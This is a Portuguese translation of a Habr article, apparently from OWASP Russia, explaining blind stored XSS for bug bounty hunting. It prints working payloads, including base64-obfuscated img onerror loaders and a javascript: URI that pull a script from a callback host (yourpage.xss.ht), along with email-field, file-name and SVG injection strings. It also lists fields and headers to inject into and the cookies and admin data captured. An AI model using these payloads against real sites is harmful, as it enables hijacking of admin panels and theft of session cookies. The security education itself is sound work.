Simplicidade cega

imagem

Neste artigo, falarei sobre o XSS cego - este é um ataque bastante simples, mas geralmente muito eficaz, em aplicativos da web. A operação de tais vetores de ataque leva à apreensão de painéis de administração de vários serviços, incluindo gigantes de software.

UPD: parte das cargas úteis do artigo funcionou nos agregadores / analisadores Habr, essas coisas :)


Como isso funciona?


Antes de tudo, vale ressaltar que o XSS não é uma vulnerabilidade, mas um tipo de ataque a sistemas da web. Consiste na introdução de código malicioso na página emitida pelo sistema web (que será executado no computador do usuário quando esta página é aberta) e sua interação com o servidor web do invasor. Existem vários tipos de XSS: armazenados, espelhados e DOM. Neste artigo, consideraremos apenas o XSS armazenado - eles são adequados para fins de "avanço".

O esquema de ataque é o seguinte: o invasor coloca a carga maliciosa no aplicativo Web, o código vulnerável entra no banco de dados e é disparado no painel de administração do projeto.

imagem

Freqüentemente, antes que a carga útil seja acionada, o atacante não suspeita de onde e quando “atirará”. Pela minha própria experiência, posso dizer que as operações de carga útil ocorreram de alguns segundos a vários meses - acelerar esse processo é extremamente problemático.

imagem

Onde a carga útil funcionará também é um fator importante. Sentir os pontos finais do XSS cego é semelhante a disparar balas com um centro de gravidade deslocado. Às vezes, os painéis de administração estão localizados em subdomínios atraentes do formulário manage007.attacked.site ou fora do site testado, em um endereço IP como XXX.XXX.XXX.XXX/admin_panel/dashboard.php . Ou pode ser, por exemplo, um sistema de análise que geralmente está fora dos limites da empresa testada.

Pontos finais


Para obter uma "parada" de nossa carga útil, precisamos ter um ponto de extremidade externo para interceptar. Para fazer isso, você pode aumentar seu serviço e interceptar todas as chamadas, incluindo cabeçalhos usando uma linguagem de programação aceitável para você.

imagem

Ou você pode usar as seguintes opções (de sua escolha).

O BurpCollaborator é um serviço externo especializado para usuários do Burp Suite Pro:



Use serviços,% name% bin, por exemplo requestbin :



Aumente seu próprio serviço, por exemplo, usando o ezXSS :

imagem

Ou use xsshunter (recomendado para iniciantes) - um serviço para gerar cargas úteis e obter um "chute" da carga útil acionada (incluindo email):



Cargas úteis


Então, encontramos o formulário de entrada no site e queremos testar nossa teoria de que os cegos trabalharão nele. Para fazer isso, precisamos preparar cargas úteis, inclusive para contornar equipamentos de proteção.

O serviço xsshunter oferece várias cargas úteis prontas para operar o XSS cego:

Carga útil de Uri:

javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yourpage.xss.ht\';document.body.appendChild(a)') 

Carga útil IMG:

 "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))> 

Parte da carga útil é convertida em base64 (dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHaazzLmh0Aaa

 var a=document.createElement("script");a.src="https://yourpage.xss.ht";document.body.appendChild(a); 

Carga útil no campo email:

 "'--></style></title></textarea></script><script src=https://yourpage.xss.ht>"@test.com test@("'--></style></title></textarea></script><script src=https://yourpage.xss.ht>)test.com ("'--></style></title></textarea></script><script src=https://yourpage.xss.ht>)@test.com 



Truques interessantes


Agora considere os formulários de entrada mais interessantes para implementar cargas úteis.
E-mail - exemplos de implementação válidos são apresentados acima, se funciona ou não, depende do tipo de aplicativo da web.

No campo de senha - aqui podemos descobrir se o aplicativo da Web armazena a senha em texto sem formatação e se o administrador a viu.

Ajudantes on-line - às vezes também filma aqui.

Nos cabeçalhos - substituímos a carga útil em todos os cabeçalhos que podemos controlar: referenciador, agente de usuário etc.

Vetores SVG - carregar imagens / avatares na forma de * .svg pode nos dar a oportunidade de implementar nossa carga útil (exemplo) . SVG contém carga útil:

 <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)" 

Campo de upload de arquivo / nome do arquivo - podemos tentar fazer o download com o nome:

 "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>.jpg 



Cancelar inscrição - Campos de cancelamento de inscrição, "Sua opinião é importante para nós" e muito mais. Também é uma forma muito promissora para a introdução de carga útil.

Pesquisas - campo “outra opção / sua resposta”.

Catch


Ao explorar esse ataque, você pode acessar o painel de controle (com configurações de segurança inadequadas), captura de tela, estrutura DOM, endereço IP do administrador, cookies, etc.

imagem

Esse ataque permite acessar sistemas de suporte , painéis de administração e muito mais. Durante a participação nos programas Bug Bounty, algumas capturas de tela interessantes foram acumuladas que foram obtidas durante esses ataques:



Casino online :



Auto.ru ( johndoe1492 ):



Microsoft ( johndoe1492 ):



O sistema usado por 150.000 empresas em todo o mundo:



Existem muitas dessas capturas de tela - isso sugere que os desenvolvedores devem prestar atenção especial não apenas à janela do aplicativo da web, mas também à sua parte administrativa.

UPD: parte das cargas úteis do artigo funcionou nos agregadores / analisadores Habr, essas coisas :)





Este artigo foi preparado como parte do projeto OWASP.
Capítulo OWASP Rússia : OWASP Rússia
Bate-papo da OWASP na Rússia: https://t.me/OWASP_Russia
Canal da OWASP na Rússia: https://t.me/OWASP_RU

Source: https://habr.com/ru/post/pt450780/


All Articles